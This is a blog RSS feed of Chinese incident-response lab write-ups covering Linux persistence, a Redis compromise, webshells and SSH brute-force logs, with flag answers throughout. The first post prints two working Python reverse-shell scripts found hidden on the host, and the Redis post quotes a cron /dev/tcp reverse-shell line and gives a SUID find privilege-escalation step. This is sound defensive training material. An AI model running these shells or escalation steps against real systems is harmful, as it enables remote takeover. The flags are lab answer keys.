<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Origin</title><description>理解以真实为本，但真实本身并不会自动呈现</description><link>https://origin618.github.io/</link><language>en</language><item><title>玄机第三章</title><link>https://origin618.github.io/posts/%E7%8E%84%E6%9C%BA%E7%AC%AC%E4%B8%89%E7%AB%A0/</link><guid isPermaLink="true">https://origin618.github.io/posts/%E7%8E%84%E6%9C%BA%E7%AC%AC%E4%B8%89%E7%AB%A0/</guid><description>玄机第三章</description><pubDate>Sun, 18 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;第三章 权限维持-linux权限维持-隐藏&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;1.黑客隐藏的隐藏的文件 完整路径md5
2.黑客隐藏的文件反弹shell的ip+端口 {ip:port}
3.黑客提权所用的命令 完整路径的md5 flag{md5} 
4.黑客尝试注入恶意代码的工具完整路径md5
5.使用命令运行 ./x.xx 执行该文件  将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;1.黑客隐藏的隐藏的文件 完整路径md5&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;find / -type f -name &quot;.*&quot; 2&amp;gt;/dev/null | grep -v &quot;^\/sys\/&quot; // 查找隐藏文件
find / -type d -name &quot;.*&quot; 2&amp;gt;/dev/null // 查找隐藏目录
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看到/tmp/.temp/libprocesshider/1.py&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

import socket,subprocess,os,sys, time

pidrg = os.fork()
if pidrg &amp;gt; 0:
        sys.exit(0)

os.chdir(&quot;/&quot;)
os.setsid()
os.umask(0)
drgpid = os.fork()
if drgpid &amp;gt; 0:
        sys.exit(0)

while 1:
        try:
                sys.stdout.flush()
                sys.stderr.flush()
                fdreg = open(&quot;/dev/null&quot;, &quot;w&quot;)
                sys.stdout = fdreg
                sys.stderr = fdreg
                sdregs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                sdregs.connect((&quot;114.114.114.121&quot;,9999))
                os.dup2(sdregs.fileno(),0)
                os.dup2(sdregs.fileno(),1)
                os.dup2(sdregs.fileno(),2)
                p=subprocess.call([&quot;/bin/bash&quot;,&quot;-i&quot;])
                sdregs.close()
        except Exception:
                pass
        time.sleep(2)

flag{109ccb5768c70638e24fb46ee7957e37} 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中shell.py也是反弹shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3
from os import dup2
from subprocess import run
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((&quot;172.16.10.7&quot;,2220))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
run([&quot;/bin/bash&quot;,&quot;-i&quot;])
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2.黑客隐藏的文件反弹shell的ip+端口 {ip:port}&lt;/h2&gt;
&lt;p&gt;在1.py里面有个反弹shell ip&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{114.114.114.121:9999}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3.黑客提权所用的命令 完整路径的md5 flag{md5}&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;find / -type f -perm -4000 2&amp;gt;/dev/null // 查找设置了suid权限的程序
或
find / -type f -u=s -4000 2&amp;gt;/dev/null // 查找设置了suid权限的程序
两者等价
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@xuanji:/tmp/.temp/libprocesshider# find / -perm -u=s -type f 2&amp;gt;/dev/null
/bin/mount
/bin/ping
/bin/ping6
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/find
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/sudo
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有个find&lt;/p&gt;
&lt;p&gt;切换到ctf用户尝试suid提权&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find xx -exec &quot;whoami&quot; \;

root@xuanji:/tmp# find -exec &quot;whoami&quot; \;
root

flag{7fd5884f493f4aaf96abee286ee04120}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4.黑客尝试注入恶意代码的工具完整路径md5&lt;/h2&gt;
&lt;p&gt;刚刚查找隐藏目录有个&lt;code&gt;/opt/.cymothoa-1-beta&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这是个注入工具&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20260119001542837.png&quot; alt=&quot;image-20260119001542837&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查找文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@xuanji:/opt/.cymothoa-1-beta# ls -l
total 564
-rw-r--r--. 1 ctf  1000    137 May 24  2011 Makefile
-rwxr-xr-x. 1 root root  13714 Aug  3  2023 bgrep
-rw-r--r--. 1 root root   4357 May  5  2011 bgrep.c
-rw-------. 1 root root 421888 Aug  3  2023 core
-rwxr-xr-x. 1 root root  30569 Aug  3  2023 cymothoa
-rw-r--r--. 1 ctf  1000  11348 Jul 27  2011 cymothoa.c
-rw-r--r--. 1 ctf  1000   5009 Jul 27  2011 cymothoa.h
-rwxr-xr-x. 1 root root   1229 May  5  2011 hexdump_to_cstring.pl
drwxr-xr-x. 2 root root  16384 Jul 27  2011 payloads
-rw-r--r--. 1 ctf  1000  15822 Jul 27  2011 payloads.h
-rw-r--r--. 1 ctf  1000   5011 May 24  2011 personalization.h
-rwxr-xr-x. 1 root root    964 May 24  2011 syscall_code.pl
-rw-r--r--. 1 root root   4995 May 24  2011 syscalls.txt
-rwxr-xr-x. 1 root root   9181 Aug  3  2023 udp_server
-rw-r--r--. 1 root root   1345 May 24  2011 udp_server.c

/opt/.cymothoa-1-beta/cymothoa
flag{087c267368ece4fcf422ff733b51aed9}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5.使用命令运行 ./x.xx 执行该文件  将查询的 Exec****** 值作为flag提交 flag{/xxx/xxx/xxx}&lt;/h2&gt;
&lt;p&gt;执行后查看网络连接&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 /tmp/.temp/libprocesshider/1.py
ss -antp

root@xuanji:/tmp/.temp/libprocesshider# ss -antp
State       Recv-Q Send-Q                                                      Local Address:Port                                                        Peer Address:Port 
LISTEN      0      50                                                              127.0.0.1:3306                                                                   *:*     
LISTEN      0      128                                                                     *:22                                                                     *:*      users:((&quot;sshd&quot;,10,3))
LISTEN      0      511                                                                     *:80                                                                     *:*      users:((&quot;apache2&quot;,11,3))
SYN-SENT    0      1                                                           10.244.32.238:41330                                                    114.114.114.121:9999   users:((&quot;python3&quot;,857,5))
ESTAB       0      0                                                           10.244.32.238:22                                                            10.244.0.1:11988  users:((&quot;sshd&quot;,393,3))
SYN-SENT    0      1                                                           10.244.32.238:49476                                                    114.114.114.121:9999   users:((&quot;python3&quot;,862,3))
LISTEN      0      128                                                                    :::22                                                                    :::*      users:((&quot;sshd&quot;,10,4))
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;root@xuanji:/tmp/.temp/libprocesshider# cat /proc/857/cmdline
python3/tmp/.temp/libprocesshider/1.py

ls -l /usr/bin/python3
lrwxrwxrwx. 1 root root 9 Mar 23  2014 /usr/bin/python3 -&amp;gt; python3.4
这里是l软链接

which python3.4
/usr/bin/python3.4

flag{/usr/bin/python3.4}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>玄机第二章</title><link>https://origin618.github.io/posts/%E7%8E%84%E6%9C%BA%E7%AC%AC%E4%BA%8C%E7%AB%A0/</link><guid isPermaLink="true">https://origin618.github.io/posts/%E7%8E%84%E6%9C%BA%E7%AC%AC%E4%BA%8C%E7%AB%A0/</guid><description>玄机第二章</description><pubDate>Sat, 17 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;第二章日志分析-redis应急响应&lt;/h1&gt;
&lt;h2&gt;通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;cat /var/log/redis.log | grep -oE &apos;[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+&apos; | sort | uniq -c | sort -nr
-E代表正则匹配，-o只输出“匹配到的部分”，+代表多个数字
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;挨个看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /var/log/redis.log | grep -Ea &quot;192.168.100.13&quot;

cat /var/log/redis.log | grep -Ea &quot;192.168.100.20&quot;| sort | uniq -c

cat /var/log/redis.log | grep -Ea &quot;192.168.31.55&quot;| sort | uniq -c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中192.168.100.13攻击的最多&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{192.168.100.13}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交;&lt;/h2&gt;
&lt;p&gt;查看日志&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /var/log/redis.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前半段是黑客攻击爆破的日志，后面是成功的操作，我们着重看后面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20260118110223890-1768752745268-11.png&quot; alt=&quot;image-20260118110223890&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在里面找到一个可疑的操作&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Module &apos;system&apos; loaded from ./exp.so
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看exp.so文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;strings -a -n 4 /exp.so | grep -aoE &apos;(flag|FLAG|ctf|CTF)\{[^}]{0,200}\}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(flag|FLAG|ctf|CTF)

(...) 是分组

| 表示“或”

所以这一段匹配 flag / FLAG / ctf / CTF 这四种前缀之一

\{

匹配一个字面量的左大括号 {

因为 { 在正则里有特殊意义（表示重复次数），所以要用 \{ 进行转义

[^}]{0,200}

[...] 是字符集合

^ 放在集合开头表示“取反”

[^}] 表示“任意不是 } 的字符”

{0,200} 表示重复 0 到 200 次

所以这一段的意思是：抓大括号里面的内容，最多 200 个字符，不允许出现 }（这样就能在遇到第一个 } 时停住）

\}

匹配字面量的右大括号 }（同样要转义）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交;&lt;/h2&gt;
&lt;p&gt;对于redis数据库提权一般来说有4种方法&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;写密钥ssh&lt;/li&gt;
&lt;li&gt;计划任务&lt;/li&gt;
&lt;li&gt;反弹shell&lt;/li&gt;
&lt;li&gt;CVE-2022-0543 沙盒绕过命令执行 （集成在template当中）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这里面可以先排除反弹shell与CVE-2022-0543 因为反弹shell很容易出问题导致连接失败。&lt;/p&gt;
&lt;p&gt;先看下有没有写公钥&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /root/.ssh/authorized_keys 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20260118110810717-1768752745269-13.png&quot; alt=&quot;image-20260118110810717&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到是写了公钥的。但仅靠公钥我们是找不到反弹Ip的&lt;/p&gt;
&lt;p&gt;查看计划任务&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;crontab -l
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在结尾发现反弹shell命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*/1 * * * *  /bin/sh -i &amp;gt;&amp;amp; /dev/tcp/192.168.100.13/7777 0&amp;gt;&amp;amp;1

flag{192.168.100.13}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;通过本地 PC SSH到服务器并且溯源分析黑客的用户名，并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交&lt;/h2&gt;
&lt;p&gt;在公钥里面后面对应的就是黑客用户名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;xj-test-user
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;去github里面搜用户名&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20260118111133310-1768752745268-12.png&quot; alt=&quot;image-20260118111133310&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20260118111141551-1768752745269-14.png&quot; alt=&quot;image-20260118111141551&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{xj-test-user-wow-you-find-flag}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;&lt;/h2&gt;
&lt;p&gt;大多数Linux命令都是编译后的二进制可执行文件&lt;/p&gt;
&lt;p&gt;这些可执行文件一般放置于 /bin、/sbin、/usr/bin、/usr/sbin 等目录中&lt;/p&gt;
&lt;p&gt;我们到/bin目录 按照时间顺序查看最新的文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ls -lt | head -n 10
-t 时间顺序
head 看前面几个
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20260115220549724-1768752745269-15.png&quot; alt=&quot;image-20260115220549724&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{c195i2923381905517d818e313792d196}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>玄机第一章</title><link>https://origin618.github.io/posts/%E7%8E%84%E6%9C%BA%E7%AC%AC%E4%B8%80%E7%AB%A0/</link><guid isPermaLink="true">https://origin618.github.io/posts/%E7%8E%84%E6%9C%BA%E7%AC%AC%E4%B8%80%E7%AB%A0/</guid><description>玄机第一章</description><pubDate>Thu, 15 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;第一章 应急响应-webshell查杀&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt; 1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
 2.黑客使用的什么工具的shell github地址的md5 flag{md5}
 3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
 4.黑客免杀马完整路径 md5 flag{md5}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}&lt;/h2&gt;
&lt;p&gt;D盾扫描，gz.php直接就是flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2.黑客使用的什么工具的shell github地址的md5 flag{md5}&lt;/h2&gt;
&lt;p&gt;将木马前面在github搜索，发现是哥斯拉&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@session_start();@set_time_limit(0);@error_reporting(0);

flag{39392de3218c333f794befef07ac9257}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx&lt;/h2&gt;
&lt;p&gt;D盾里面查出个.Mysqli.php&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/var/www/html/include/Db/.Mysqli.php

flag{aebac0e58cd6c5fad1695ee4d1ac1919}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4.黑客免杀马完整路径 md5 flag{md5}&lt;/h2&gt;
&lt;p&gt;免杀马应该是&lt;code&gt;top.php&lt;/code&gt;，里面进行了一个简单的字符变换，说实话这种对字符做手脚的都有问题&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/var/www/html/wap/top.php

flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;第一章 应急响应-Linux日志分析&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt; 1.有多少IP在爆破主机ssh的root帐号，如果有多个使用&quot;,&quot;分割
 2.ssh爆破成功登陆的IP是多少，如果有多个使用&quot;,&quot;分割
 3.爆破用户名字典是什么？如果有多个使用&quot;,&quot;分割
 4.登陆成功的IP共爆破了多少次
 5.黑客登陆主机后新建了一个后门用户，用户名是多少
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;日志文件&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;/var/log/cron&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;记录了系统定时任务相关的日志&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;/var/log/cups&lt;/td&gt;
&lt;td&gt;记录打印信息的日志&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;/var/log/dmesg&lt;/td&gt;
&lt;td&gt;记录了系统在开机时内核自检的信息，也可以使用dmesg命令直接查看内核自检信息&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;/var/log/mailog&lt;/td&gt;
&lt;td&gt;记录邮件信息&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;/var/log/message&lt;/td&gt;
&lt;td&gt;记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息，如果系统出现问题时，首先要检查的就应该是这个日志文件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;/var/log/btmp&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;记录&lt;strong&gt;错误登录日志&lt;/strong&gt;，这个文件是二进制文件，不能直接vi查看，而要&lt;strong&gt;使用lastb命令查看&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;/var/log/lastlog&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;记录系统中&lt;strong&gt;所有用户最后一次登录时间的日志&lt;/strong&gt;，这个文件是二进制文件，不能直接vi，而要&lt;strong&gt;使用lastlog命令查看&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;/var/log/wtmp&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;永久记录所有用户的登录、注销信息，同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件，不能直接vi，而&lt;strong&gt;需要使用last命令来查看&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;/var/log/utmp&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;记录当前已经登录的用户信息&lt;/strong&gt;，这个文件会随着用户的登录和注销不断变化，只记录当前登录用户的信息。同样这个文件不能直接vi，而要&lt;strong&gt;使用w,who,users等命令来查询&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;/var/log/secure&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;记录验证和授权方面的信息&lt;/strong&gt;，只要涉及账号和密码的程序都会记录，比如SSH登录，su切换用户，sudo授权，甚至添加用户和修改用户密码都会记录在这个日志文件中&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;/var/log/auth.log&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;注明：这个有的Linux系统有，有的Linux系统没有，一般都是/var/log/secure文件来记录居多&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;1.有多少IP在爆破主机ssh的root帐号，如果有多个使用&quot;,&quot;分割&lt;/h3&gt;
&lt;p&gt;我们先把/var/log里面的日志dump下来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; tar -czvf log.tar.gz ./
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;里面找到auth.log.1是放ssh的日志，放到自己虚拟机用正则分析&lt;/p&gt;
&lt;p&gt;看有多少ip在爆，直接找登录失败的就行了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; cat auth.log.1|grep -a &quot;Failed password for root&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; Aug  1 07:42:32 linux-rz sshd[7471]: Failed password for root from 192.168.200.32 port 51888 ssh2
 Aug  1 07:47:13 linux-rz sshd[7497]: Failed password for root from 192.168.200.2 port 34703 ssh2
 Aug  1 07:47:18 linux-rz sshd[7499]: Failed password for root from 192.168.200.2 port 46671 ssh2
 Aug  1 07:47:20 linux-rz sshd[7501]: Failed password for root from 192.168.200.2 port 39967 ssh2
 Aug  1 07:47:22 linux-rz sshd[7503]: Failed password for root from 192.168.200.2 port 46647 ssh2
 Aug  1 07:52:59 linux-rz sshd[7606]: Failed password for root from 192.168.200.31 port 40364 ssh2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看到就三个ip，那么flag就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; flag{192.168.200.2,192.168.200.31,192.168.200.32}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是ip比较少的情况下，ip比较多的话可以用下面命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; cat auth.log.1 | grep -a &quot;Failed password for root&quot; | awk &apos;{print $11}&apos; | sort | uniq -c | sort -nr |more
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;       1 192.168.200.32
       4 192.168.200.2
       1 192.168.200.31
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cat auth.log.1 | grep -a &quot;Failed password for root&quot; | awk &apos;{print $11}&apos; | sort | uniq -c | sort -nr | more
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也可以用这个： PAM 层失败&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pam_unix(sshd:auth): authentication failure ... user=root
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;命令组件&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;作用描述&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;cat auth.log.1&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;读取 &lt;code&gt;auth.log.1&lt;/code&gt; 文件的内容。这是 Linux 系统存放认证日志（如 SSH 登录记录）的归档文件。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;grep -a &quot;Failed password for root&quot;&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;过滤出包含“向 root 用户尝试密码失败”的行。&lt;code&gt;-a&lt;/code&gt; 参数的作用是将文件当作文本处理（防止因日志中包含特殊字符导致 grep 停止工作）。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;awk &apos;{print $11}&apos;&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;核心提取步骤&lt;/strong&gt;。在标准的 SSH 日志格式中，第 11 个字段（列）通常是尝试登录者的 &lt;strong&gt;IP 地址&lt;/strong&gt;。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;uniq -c&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;统计计数&lt;/strong&gt;。&lt;code&gt;uniq&lt;/code&gt; 用于去除重复行，&lt;code&gt;-c&lt;/code&gt; 参数会在每行前面加上该行在日志中&lt;strong&gt;连续出现&lt;/strong&gt;的次数。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;这个命令有缺陷：&lt;code&gt;uniq -c&lt;/code&gt;只能统计&lt;strong&gt;连续出现&lt;/strong&gt;的重复行。如果日志中 IP 地址是交替出现的（例如 A, B, A），它就无法准确统计 A 的总数。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat auth.log.1 | grep -a &quot;Failed password for root&quot; | awk &apos;{print $11}&apos; | sort | uniq -c | sort -nr
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sort&lt;/code&gt;&lt;/strong&gt;: 将所有相同的 IP 排在一起，让 &lt;code&gt;uniq -c&lt;/code&gt; 能统计总数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;sort -nr&lt;/code&gt;&lt;/strong&gt;: 按数字大小 (&lt;code&gt;n&lt;/code&gt;) 逆序 (&lt;code&gt;r&lt;/code&gt;) 排列，这样&lt;strong&gt;攻击次数最多的 IP 会排在最上面&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat auth.log.1 | grep -a &quot;Failed password&quot; | grep -o &apos;for .* from&apos; | sort | uniq -c | sort -nr
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.ssh爆破成功登陆的IP是多少，如果有多个使用&quot;,&quot;分割&lt;/h3&gt;
&lt;p&gt;登录成功就找Accepted的字样&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; cat auth.log.1|grep -a &quot;Accepted &quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; Aug  1 07:47:23 linux-rz sshd[7505]: Accepted password for root from 192.168.200.2 port 46563 ssh2
 Aug  1 07:50:37 linux-rz sshd[7539]: Accepted password for root from 192.168.200.2 port 48070 ssh2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就一个192.168.200.2那么flag就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; flag{192.168.200.2}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.爆破用户名字典是什么？如果有多个使用&quot;,&quot;分割&lt;/h3&gt;
&lt;p&gt;我们看爆破字典，要找验证错误的就是&quot;Failed password&quot;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; cat auth.log.1|grep -a &quot;Failed password&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; Aug  1 07:40:50 linux-rz sshd[7461]: Failed password for invalid user test1 from 192.168.200.35 port 33874 ssh2
 Aug  1 07:41:04 linux-rz sshd[7465]: Failed password for invalid user test2 from 192.168.200.35 port 51640 ssh2
 Aug  1 07:41:13 linux-rz sshd[7468]: Failed password for invalid user test3 from 192.168.200.35 port 48168 ssh2
 Aug  1 07:42:32 linux-rz sshd[7471]: Failed password for root from 192.168.200.32 port 51888 ssh2
 Aug  1 07:46:41 linux-rz sshd[7475]: Failed password for invalid user user from 192.168.200.2 port 36149 ssh2
 Aug  1 07:46:47 linux-rz sshd[7478]: Failed password for invalid user user from 192.168.200.2 port 44425 ssh2
 Aug  1 07:46:50 linux-rz sshd[7480]: Failed password for invalid user user from 192.168.200.2 port 38791 ssh2
 Aug  1 07:46:54 linux-rz sshd[7482]: Failed password for invalid user user from 192.168.200.2 port 37489 ssh2
 Aug  1 07:46:56 linux-rz sshd[7484]: Failed password for invalid user user from 192.168.200.2 port 35575 ssh2
 Aug  1 07:46:59 linux-rz sshd[7486]: Failed password for invalid user hello from 192.168.200.2 port 35833 ssh2
 Aug  1 07:47:02 linux-rz sshd[7489]: Failed password for invalid user hello from 192.168.200.2 port 37653 ssh2
 Aug  1 07:47:04 linux-rz sshd[7491]: Failed password for invalid user hello from 192.168.200.2 port 37917 ssh2
 Aug  1 07:47:08 linux-rz sshd[7493]: Failed password for invalid user hello from 192.168.200.2 port 41957 ssh2
 Aug  1 07:47:10 linux-rz sshd[7495]: Failed password for invalid user hello from 192.168.200.2 port 39685 ssh2
 Aug  1 07:47:13 linux-rz sshd[7497]: Failed password for root from 192.168.200.2 port 34703 ssh2
 Aug  1 07:47:18 linux-rz sshd[7499]: Failed password for root from 192.168.200.2 port 46671 ssh2
